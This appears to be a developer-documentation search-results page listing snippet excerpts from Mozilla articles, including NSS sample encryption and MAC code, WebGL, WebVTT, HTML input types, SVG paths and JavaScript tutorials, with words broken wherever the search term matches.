.../* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a sy
mmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", ...
...ysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the sy
mmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "sy
mmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute...
...And 10 more matches
Encrypt and decrypt MAC using token
r "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } co
mmandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); ...
.../* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a sy
mmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", ...
...ysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the sy
mmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "sy
mmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute...
...And 10 more matches
Encrypt Decrypt_MAC_Using Token
*/ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); ...
...* * gather a cka_id. */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a sy
mmetric key. */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n",...
...ysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the sy
mmetric key. */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "sy
mmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "comput...
...And 10 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
r "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } co
mmandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* print a usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c <a|b> -d <dbdirpath> [-z <noisefilename>] " "[-p <dbpwd> | -f <dbpwdfile>] -i <ipfilename> -o <opfilename>\n\n", progname); fprintf(stderr, "...
.../* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a sy
mmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", ...
...ysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the sy
mmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "sy
mmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute...
...And 10 more matches
Migrating from Firebug - Firefox Developer Tools
ut also provide shortcuts for the different panels. e.g. the network monitor can be opened via ctrl+shift+q / cmd+opt+q, the web console via ctrl+shift+k / cmd+opt+k and the debugger via ctrl+shift+s / cmd+opt+s. web console the web console is the equivalent of firebug's console panel. ...
... console api to log things to the console from within the web page firebug makes a console api available within the page. ...
... console api to log things to the console from within the web page firebug makes a console api available within the page. ...
...And 10 more matches
WebGL best practices - Web APIs
you can rely on this document to guide your choice of approach, and ensure you're on the right track no matter what browser or hardware your users run. general topics address and eliminate webgl errors your application should run without generating any webgl errors (as returned by geterror). every webgl error is reported in the web console as a javascript warning with a descriptive message. ...
...fter attaching them to a program object. eagerly lose contexts too webgl_lose_context.losecontext() can be used to release a webgl context and its resources eagerly. use this if you are finished with any contexts, such as probe contexts, or if you hit a fallback case. ...
...losecontext() can be used to release a webgl context and its resources eagerly. use this if you are finished with any contexts, such as probe contexts, or if you hit a fallback case. flush when expecting results (like queries or rendering frame completion) flush tells the implementation to push all pending co
mmands out for execution, flushing them out of the queue, instead of waiting for more co
mmands to enqueue before sending for execution. for example, it is possible for the following to never complete without context loss: sync = glfencesync(gl_sync_gpu_co
mmands_complete, 0); glclientwaitsync(sync, 0, gl_timeout_ignored); webgl doesn't have a swapbuffers call by default, so a flush can help fill the gap, as well. use webgl.flush() when not using requestanimationframe when not usin...
...And 10 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
s order: an optional byte order mark (bom). the string "webvtt". an optional text header to the right of webvtt. there must be at least one space after webvtt. you could use this to add a description to the file. you may use anything in the text header except newlines or the string "-->". a blank line, which is equivalent to two consecutive newlines. zero or more cues or co
mments. zero or more blank lines. example 1 - simplest possible webvtt file webvtt example 2 - very simple webvtt file with a text header webvtt - this file has no cues. example 3 - co
mmon webvtt example with a header and cues webvtt - this file has cues. 14 00:01:14.815 --> 00:01:18.114 - what? - where are we now? 15 00:01:18.171 --> 00:01:20.991 - this is big bat country. 16 00:01:21.
...st line is started with a time, which is the starting time for showing the text that appears underneath. on the same line, we then have a string of "-->". we finish the first line with a second time, which is the ending time for showing the associated text. we can then have one or more lines that start with a hyphen (-), each containing part of the text track to be shown. ...
...co
mments in our .vtt file, to help us remember important information about the parts of our file. these should be on separate lines, starting with the string note. you'll find more about these in the below section. it is important to not use "extra" blank lines within a cue, for example between the timings line and the cue payload. webvtt is line based; a blank line will close the cue. webvtt co
mments co
mments are an optional component that can be used to add information to a webvtt file. co
mments are intended for those reading the file and are not seen by users. co
mments may contain newlines but cannot contain a blank line, which is equivalent to two consecutive newlines. a blank line signifies the end of a co
mment. ...
...And 10 more matches
Starting up and shutting down a WebXR session - Web APIs
navigator.xr property doesn't even exist if the document wasn't loaded securely. this may also be the case if there simply is no compatible xr hardware available. either way, you need to be prepared for the lack of an xr property and either gracefully handle the error or provide some form of fallback. falling back to the webxr polyfill one fallback option is the webxr polyfill, provided by the i
mmersive web working group that's in charge of the webxr standardization process. the polyfill brings support for webxr to browsers that don't have native webxr support, and smooths out the inconsistencies among implementations in the browsers that do have it, so it can sometimes also be useful even if webxr is natively available. here we define a getxr() function, which returns the xrsystem object...
... objects depending on it are using it anymore. of course, you can simplify this depending on your needs; since your app is probably not going to go back and forth much on whether or not to use the polyfill, you can simplify this to just the specific case you need. permissions and security there are a number of security measures in place revolving around webxr. first among these is that use of i
mmersive-vr mode—which entirely replaces the user's view of the world—requires that the xr-spatial-tracking feature policy be in place. on top of that, the document needs to be secure and currently focused. finally, you must call requestsession() from a user event handler, such as the handler for the click event. for more specifics about securing webxr actitvities and usage, see the article pe...
...lick event. for more specifics about securing webxr actitvities and usage, see the article permissions and security for webxr. confirming the session type you need is available before trying to create a new webxr session, it's often wise to first check to see if the user's hardware and software support the presentation mode you wish to use. ...
...And 10 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
the below; clicking the date and the time parts of the value bring up two separate pickers for you, so you can easily set both the date and the time. this is somewhat like having date and time widgets both created for you and merged into one. value a domstring representing a date and time (in the local time zone), or empty. events change and input supported co
mmon attributes autocomplete, list, readonly, and step idl attributes list, value, valueasnumber. methods select(), stepdown(), stepup() value a domstring representing the value of the date entered into the input. the format of the date and time value used by this input type is described in local date and time strings in date and time formats used in html. you can...
...when the above value submitted to the server, for example, it will look like partydate=2017-06-01t08:30. note: also bear in mind that if such data is submitted via http get, the colon character will need to be escaped for inclusion in the url parameters, e.g. partydate=2017-06-01t08%3a30. see encodeuri() for one way to do this. you can also get and set the date value in javascript u...
...a date and time for your party booking:</label> <input id="party" type="datetime-local" name="partydate" value="2017-06-01t08:30"> one thing to note is that the displayed date and time formats differ from the actual value; the displayed date and time are formatted according to the user's locale as reported by their operating system, whereas the date/time value is always formatted yyyy-
mm-ddthh:
mm. when the above value submitted to the server, for example, it will look like partydate=2017-06-01t08:30. note: also bear in mind that if such data is submitted via http get, the colon character will need to be escaped for inclusion in the url parameters, e.g. partydate=2017-06-01t08%3a30. see encodeuri() for one way to do this. you can also get and set the date value in javascript using the ...
...And 10 more matches
<input type="month"> - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... browser that doesn't support month, the screenshot below shows what it looks like in chrome and opera. clicking the down arrow on the right hand side brings up a date picker that lets you select the month and year. the microsoft edge month control looks like this: value a domstring representing a month and year, or empty. events change and input supported co
mmon attributes autocomplete, list, readonly, and step. idl attributes value methods select(), stepdown(), stepup(). value a domstring representing the value of the month and year entered into the input, in the form yyyy-
mm (four or more digit year, then a hyphen ("-"), followed by the two-digit month). the format of the month string used by this input type is desc...
...And 10 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
radio"/> range a control for entering a number whose exact value is not important. displays as a range widget defaulting to the middle value. used in conjunction min and max to define the range of acceptable values. <input type="range" name="range" min="0" max="25"/> html5 reset a button that resets the contents of the form to default values. not reco
mmended. <input type="reset" name="reset"/> search a single-line text field for entering search strings. line-breaks are automatically removed from the input value. may include a delete icon in supporting browsers that can be used to clear the field. displays a search icon instead of enter key on some devices with dynamic keypads. <input type="search" name="sear...
...y a specific subset of input types. in addition, the way some attributes impact an input depends on the input type, impacting different input types in different ways. this section provides a table listing all the attributes with a brief description. this table is followed by a list describing each attribute in greater detail, along with which input types they are associated with.those that are co
mmon to most or all input types are defined in greater detail below. attributes that are unique to particular input types—or attributes which are co
mmon to all input types but have special behaviors when used on a given input type—are instead documented on those types' pages. this element includes the global attributes. those with extra importance as it relates to <input> are highlighted. att...
...type in file upload controls alt image alt attribute for the image type. ...
...And 10 more matches
Browser detection using the user agent - HTTP
r first step is to try to avoid it if possible. start by trying to identify why you want to do it. are you trying to work around a specific bug in some version of a browser? look, or ask, in specialized forums: you're unlikely to be the first to hit this problem. also, experts, or simply people with another point of view, can give you ideas for working around the bug. if the problem seems unco
mmon, it's worth checking if this bug has been reported to the browser vendor via their bug tracking system (mozilla; webkit; blink; opera). browser makers do pay attention to bug reports, and the analysis may hint about other workarounds for the bug. are you trying to check for the existence of a specific feature? your site needs to use a specific web feature that some browsers don't yet support,...
...abilities of the site in successive layers, each using more features. graceful degradation this is a top-down approach in which you build the best possible site using all the features you want, then tweak it to make it work on older browsers. this can be harder to do, and less effective, than progressive enhancement, but may be useful in some cases. mobile device detection arguably the most co
mmon use and misuse of user agent sniffing is to detect if the device is a mobile device. however, people too often overlook what they are really after. people use user agent sniffing to detect if the users' device is touch-friendly and has a small screen so they can optimize their website accordingly. while user agent sniffing can sometimes detect these, not all devices are the same: some mobile de...
... to reduce the space wasted to the left and to the right of the pictures. the boxes can be separated into multiple columns via two equally fair method. from this point on, we shall assume that all the dog boxes are at the top of the source code, that all the cat boxes are at the bottom of the source code, and that all these boxes have the same parent element. there a single instance of a dog box i
mmediately above a cat box, of course. the first method uses horizontal flexboxes to group the content such that when the page is displayed to the end user, all the dogs boxes are at the top of the page and all the cat boxes are lower on the page. the second method uses a column layout and resents all the dogs to the left and all the cats to the right. only in this particular scenario, it is appropr...
...And 10 more matches
Paths - SVG: Scalable Vector Graphics
ved lines. complex shapes composed only of straight lines can be created as <polyline>s. while <polyline>s and <path>s can create similar-looking shapes, <polyline>s require a lot of small straight lines to simulate curves, and don't scale well to larger sizes. a good understanding of paths is important when drawing svgs. while creating complex paths using an xml editor or text editor is not reco
mmended, understanding how they work will allow to identify and repair display issues in svgs. the shape of a <path> element is defined by one parameter: d. (see more in basic shapes.) the d attribute contains a series of co
mmands and parameters used by those co
mmands. each of the co
mmands is instantiated (for example, creating a class, naming and locating it) by a specific letter. for instance, l...
...epair display issues in svgs. the shape of a <path> element is defined by one parameter: d. (see more in basic shapes.) the d attribute contains a series of co
mmands and parameters used by those co
mmands. each of the co
mmands is instantiated (for example, creating a class, naming and locating it) by a specific letter. for instance, let's move to the x and y coordinates (10, 10). the "move to" co
mmand is called with the letter m. when the parser runs into this letter, it knows it needs to move to a point. so, to move to (10,10) the co
mmand to use would be m 10 10. after that, the parser begins reading for the next co
mmand. all of the co
mmands also come in two variants. an uppercase letter specifies absolute coordinates on the page, and a lowercase letter specifies relative coordinates (e.g...
... all of the co
mmands also come in two variants. an uppercase letter specifies absolute coordinates on the page, and a lowercase letter specifies relative coordinates (e.g., move 10px up and 7px to the left from the last point). coordinates in the d parameter are always unitless and hence in the user coordinate system. later, we will learn how paths can be transformed to suit other needs. line co
mmands there are five line co
mmands for <path> nodes. the first co
mmand is the "move to" or m, which was described above. it takes two parameters, a coordinate (x) and coordinate (y) to move to. if the cursor was already somewhere on the page, no line is drawn to connect the two positions. the "move to" co
mmand appears at the beginning of paths to specify where the drawing should start. for example...
...And 10 more matches
MenuItems - Archive of obsolete content
adding shortcut keys to menu items a shortcut key may be associated with a menu item. unlike the access key, which only functions while the menu is open, a shortcut key works at any time. a shortcut key can be created using the key element. in reality, the keyboard shortcut is handled by the key element, however, the menu item will display the shortcut next to its label. this allows the user to discover what shortcut keys are available by looking at the menus. ...
... <menuitem label="open" key="open-key"/> <menuitem label="close" key="close-key"/> </menupopup> </menu> </menubar> the two menuitems are associated with a key using the key attribute. it should be set to the id of a key element within the same document. the result is that the items will display the shortcut key next to their labels. for the "open" item in this example, this co
mmand can be invoked by using the "accel" modifier key and pressing 'o'. the "accel" modifier key varies on each platform, but is the key typically used for shortcut keys. for instance, if the "accel" key is control, the menu might display "ctrl + o". although there isn't usually a need to do so, you can also set a custom label for the keyboard shortcut on the menu using the acceltext attribute. yo...
...label="show toolbar" accesskey="t" type="checkbox" checked="true"/> <menuitem label="show status bar" accesskey="s" type="checkbox"/> </menupopup> </menu> both menuitems are of the checkbox type. the first menuitem is checked by default, as indicated by the checked attribute set to the value true. the second menuitem is not checked by default. ...
...And 9 more matches
Broadcasters and Observers - Archive of obsolete content
« previousnext » there may be times when you want several elements to respond to events or changes of state easily. to do this, we can use broadcasters. co
mmand attribute forwarding we've already seen that elements such as buttons can be hooked up to co
mmands. in addition, if you place the disabled attribute on the co
mmand element, any elements hooked up to it will also become disabled automatically. this is a useful way to simplify the amount of code you need to write. the technique also works for other attributes as well. ...
...we've already seen that elements such as buttons can be hooked up to co
mmands. in addition, if you place the disabled attribute on the co
mmand element, any elements hooked up to it will also become disabled automatically. this is a useful way to simplify the amount of code you need to write. the technique also works for other attributes as well. for instance, if you place a label attribute on a co
mmand element, any buttons attached to the co
mmand will share the same label. example 1 : source view <co
mmand id="my_co
mmand" label="open"/> <button co
mmand="my_co
mmand"/> <checkbox label="open in a new window" co
mmand="my_co
mmand"/> in this example, the button does not have a label attribute, however it is attached to a co
mmand that does. the button will share the label with the co
mmand. the ...
...we saw something like this in a previous section where the disabled attribute was adjusted once and propagated to other elements. ...
...And 9 more matches
Archived Mozilla and build documentation - Archive of obsolete content
f mozilla for windows. blackconnect blackwood bonsai it is a tool that lets you perform queries on the contents of a cvs archive; you can: get a list of checkins, see what checkins have been made by a given person, or on a given cvs branch, or in a particular time period. it also includes tools for looking at checkin logs (and co
mments); doing diffs between various versions of a file; and finding out which person is responsible for changing a particular line of code ("cvsblame"). bookmark keywords practically every web surfer has bookmarks, of course, and power surfers usually have hundreds stuffed into folders within folders. in addition to being handy pointers to useful resources, bookma...
... chromeless [this project may not be active — check github https://github.com/mozilla/chromeless] creating a firefox sidebar extension this article describes how to create a registered sidebar for firefox 2 or greater. see the references section for information on creating extension in earlier browsers. creating a hybrid cd creating a microsu
mmary a microsu
mmary generator is a set of instructions for creating a microsu
mmary from the content of a page. web pages can reference generators via <link rel="microsu
mmary"> elements in their <head> elements. generators can also be independently downloaded and installed by users if they include a list of pages to which they apply. creating a mozilla ext...
...ngs. how to edit images, extract zip files, and how to modify css. mozilla uses standard gif, png, and jpeg images for the buttons and css to style everything else in the interface. creating a skin for seamonkey 2.x you're going to make a theme for seamonkey 2, but don't know how? i hope this manual will help you. creating regular expressions for a microsu
mmary generator a regular expression is a special kind of string (i.e. a sequence of characters) that matches patterns of characters in other strings. microsu
mmary generators use them to identify the pages that the generators know how to su
mmarize by matching patterns in those pages' urls. dehydra the development focus switched to dxr (wh...
...And 9 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
regular html) you should understand the fundamental differences between html 4 and xhtml. xhtml is xml, not html one of the primary misunderstandings about xhtml is that it is just another version of html. this misunderstanding is compounded by the fact that, prior to version 9, microsoft® internet explorer only supports xhtml if it is served with mime media type text/html rather than the reco
mmended application/xhtml+xml. when an xhtml page is served with mime type text/html it is treated by all browsers as if it were nothing more than html. however when an xhtml page is served with mime type text/xml or application/xhtml+xml, then it should be treated as an xml document which must conform to the strict rules for authoring and displaying xml. proper xhtml is an application of xml and ...
...ved with mime type text/xml or application/xhtml+xml, then it should be treated as an xml document which must conform to the strict rules for authoring and displaying xml. proper xhtml is an application of xml and as such requires that authors follow strict rules when authoring xhtml. in particular: raw < and & characters are not allowed except inside of cdata sections (<![cdata[ ... ]]>). co
mments (<!—— ... ——>) must not contain double dashes (——). content contained within co
mments (<!—— ... ——>) can be ignored. problems with inline style and script inline style and script tags can cause several different problems in xhtml when it is treated as xml rather than html. javascript contains characters which can not exist in xhtml javascript typically contains chara...
...han html. javascript contains characters which can not exist in xhtml javascript typically contains characters which can not exist in xhtml outside of cdata sections. <script type="text/javascript"> var i = 0; while (++i < 10) { // ... } </script> note that this example is not well formed xhtml since the use of raw < is only allowed as a part of markup in xhtml or xml. use of co
mments inside inline style and script authors who are familiar with html co
mmonly enclose the contents of inline style and script tags in co
mments in order to hide the contents of the tags from browsers which do not understand them. <style type="text/css"> <!-- body {background-color: blue; color: yellow;} --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i...
...And 9 more matches
Windows Media in Netscape - Archive of obsolete content
4x - 7.02 and opera browsers } since ie for mac also exposes window.activexobject it is wise to determine if the browser in question is on windows. both activexobject and geckoactivexobject function similarly. the next subsection discusses them in detail. geckoactivexobject vs. activexobject both geckoactivexobject and activexobject work very similarly, with one key difference: both take a progra
mmatic id (progid) and use it to create a reference to the windows media player. the progid of windows media player is mediaplayer.mediaplayer.1. while the progid cannot be used to create a windows media player object that exposes all its properties and methods, it is useful for rapid detections. here is a code snippet that shows this: var player; try { if (window.activexobject) { player = new...
...internet explorer in much the same fashion as document.all is used. for example if (window.activexobject) { // internet explorer only script } server-side detection using user-agent strings netscape 7.1's user agent string on windows has the general pattern: mozilla/5.0 (windows; u; <em>operating system version</em>; <em>language</em>; rv:1.4) gecko/20030624 netscape/7.1 (ax<em>[;optional co
mments]</em>) the "vendor co
mment" (ax) following the "vendor version" netscape/7.1 is an indicator that the browser supports the windows media player activex control. for example on windows xp, netscape 7.1's user agent string may be: mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.4) gecko/20030624 netscape/7.1 (ax) if the client was customized by a third party, additional information may b...
...for example: mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.4) gecko/20030624 netscape/7.1 (ax; promostring) although geckoactivexobject is currently available only in netscape 7.1 on windows, it may be the case in the future that it will be available in other gecko-based browsers on other operating systems. ...
...And 9 more matches
Anatomy of a video game - Game development
this article looks at the anatomy and workflow of the average video game from a technical point of view, in terms of how the main loop should run. it helps beginners to the modern game development arena understand what is required when building a game and how web standards like javascript lend themselves as tools. experienced game progra
mmers who are new to web development could also benefit, too. present, accept, interpret, calculate, repeat the goal of every video game is to present the user(s) with a situation, accept their input, interpret those signals into actions, and calculate a new situation resulting from those acts. games are constantly looping through these stages, over and over, until some end condition occurs (such as winning, losing, or exiting to go to bed). not surprisi...
... every video game is to present the user(s) with a situation, accept their input, interpret those signals into actions, and calculate a new situation resulting from those acts. games are constantly looping through these stages, over and over, until some end condition occurs (such as winning, losing, or exiting to go to bed). not surprisingly, this pattern corresponds to how a game engine is progra
mmed. the specifics depend on the game. some games drive this cycle by user input. imagine that you are developing a "find the differences between these two similar pictures"-type game. these games present two images to the user; they accept their click (or touch); they interpret the input as a success, failure, pause, menu interaction, etc.; finally, they calculate an updated scene resulting from...
... else happens. being more specific with the browser about when your function needs to be called allows the browser to optimize when it is called. also, it will probably make your job easier. some code needs to be run frame-by-frame so why attach that function to anything other than the browser's redraw schedule? on the web, window.requestanimationframe() will be the foundation of most well-progra
mmed per-frame main loops. a callback function must be passed in to it when it is called. that callback function will be executed at a suitable time before the next repaint. here is an example of a simple main loop: window.main = function () { window.requestanimationframe( main ); // whatever your main loop needs to do }; main(); // start the cycle note: in each of the main() methods discu...
...And 9 more matches
Floats - Learn web development
with the advent of flexbox and grid it has now returned to its original purpose, as this article explains. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to learn how to create floated features on webpages, and to use the clear property and other methods of clearing floats. ...
...ed to allow web developers to implement simple layouts involving an image floating inside a column of text, with the text wrapping around the left or right of it. the kind of thing you might get in a newspaper layout. but web developers quickly realized that you can float anything, not just images, so the use of float broadened, for example to fun layout effects such as drop-caps. floats have co
mmonly been used to create entire web site layouts featuring multiple columns of information floated so they sit alongside one another (the default behavior would be for the columns to sit below one another, in the same order as they appear in the source). there are newer, better layout techniques available and so use of floats in this way should be regarded as a legacy technique. in this article w...
...reet sit amet. </p> <p>sed auctor cursus massa at porta. integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. curabitur vehicula tellus neque, ac ornare ex malesuada et. in vitae convallis lacus. aliquam erat volutpat. suspendisse ac imperdiet turpis. aenean finibus sollicitudin eros pharetra congue. duis ornare egestas augue ut luctus. proin blandit quam nec lacus varius co
mmodo et a urna. ut id ornare felis, eget fermentum sapien.</p> <p>nam vulputate diam nec tempor bibendum. donec luctus augue eget malesuada ultrices. phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. nam id risus quis ante semper consectetur eget aliquam lorem. vivamus tristique elit dolor, sed pretium metus suscipit vel. mauris ultricies lectus sed lobortis finibus. vivamus eu...
...And 9 more matches
Looping code - Learn web development
previous overview: building blocks next progra
mming languages are very useful for rapidly completing repetitive tasks, from multiple basic calculations to just about any other situation where you've got a lot of similar items of work to complete. here we'll look at the loop structures available in javascript that handle such needs. prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps. objective: to understand how to use loops in javascript. keep me in the loop loops, loops, loops. as well as being associated with popular breakfast cereals, roller coasters, and musical production, they are also a critical concept in progra
mming. ...
...ch needs. prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps. objective: to understand how to use loops in javascript. keep me in the loop loops, loops, loops. as well as being associated with popular breakfast cereals, roller coasters, and musical production, they are also a critical concept in progra
mming. progra
mming loops are all to do with doing the same thing over and over again — which is termed iteration in progra
mming speak. let's consider the case of a farmer that is making sure he has enough food to feed his family for the week. he might use the following loop to achieve this: a loop usually has one or more of the following features: a counter, which is initialized with a certain value ...
... called '; const para = document.queryselector('p'); for (let i = 0; i < cats.length; i++) { info += cats[i] + ', '; } para.textcontent = info; </script> </body> </html> note: you can find this example code on github too (also see it running live). this shows a loop is used to iterate over the items in an array and do something with each of them — a very co
mmon pattern in javascript. here: the counter variable (sometimes known as an initializer or an iteration variable), i, starts at 0 (let i = 0). the loop has been told to run until i is no longer smaller than the length of the cats array. this is important — the condition is the condition under which the loop will still run. so in this case, while i < cats.length is still true, the loop will s...
...And 9 more matches
TypeScript support in Svelte - Learn web development
n svelte. we will now learn how to use typescript in svelte applications. first we'll learn what typescript is and what benefits it can bring us. then we'll see how to configure our project to work with typescript files. finally we will go over our app and see what modifications we have to make to fully take advantage of typescript features. prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line. you'll need a terminal with node + npm installed to compile and build your app. objective: learn how to configure and use typescript when developing svelte applications. note that our application is fully functional and porting it to typescript...
...pl. typescript: optional static typing for javascript typescript is a superset of javascript that provides features such as optional static typing, classes, interfaces, and generics. the goal of typescript is to help catch mistakes early through its type system and make javascript development more efficient. one of the big benefits is enabling ides to provide a richer environment for spotting co
mmon errors as you type the code. best of all, javascript code is valid typescript code; typescript is a superset of javascript. you can rename most of your .js files to .ts files and they will just work. our typescript code will be able to run everywhere javascript can run. how is that possible? typescript "transpiles" our code to vainilla javascript. that means that it parses typescript code and...
...rtheless, some developers prefer to use it even on small projects like the one we are developing. in the end, it's your decision. in the following sections we hope to give you more evidence to make up your mind about it. creating a svelte typescript project from scratch you can start a new svelte typescript project using the standard template. all you have to do is run the following terminal co
mmands (run them somewhere where you are storing your svelte test projects — it creates a new directory): npx degit sveltejs/template svelte-typescript-app cd svelte-typescript-app node scripts/setuptypescript.js this creates a starter project that includes typescript support, which you can then modify as you wish. then you'll have to tell npm to download dependencies and start the project i...
...And 9 more matches
Gecko info for Windows accessibility vendors
and the document object model (dom). microsoft active accessibility (msaa) an api devised by microsoft so that accessibility aids can track what's going on inside the user interface of any software package that supports it. if you seriously need to understand msaa, you'll need to read the docs on msdn and play with the sample apps and code that come with msaa sdk 1.3. (i reco
mmend sdk 1.3 because the msaa sdk 2.0 doesn't come with the source code to the testing tools. the other differences are not important). dom: document object model this is the w3c's specification for how web content is exposed to javascript and other languages. it covers content, style and events. inside the gecko process, code has full access to dom apis. however, exposing the...
...d mozilla to develop the ui. similar to html in that it can be combined with css and javascript to make powerful applications. contains more desktop-style widgets than html and follows a box layout model, rather than being text-flow based. ajax: asynchronous javascript and xml ajax is a method of building interactive web applications that process user requests, user actions i
mmediately in real time, unlike an http request, during which users must wait for a whole page to reload or for a new page to load. data is therefore stored and retrieved dynamically much faster. roles, states and events: please read the msaa documentation on msdn if you are unfamiliar with these. in general we abbreviate by removing redundant words. for example, we may say eve...
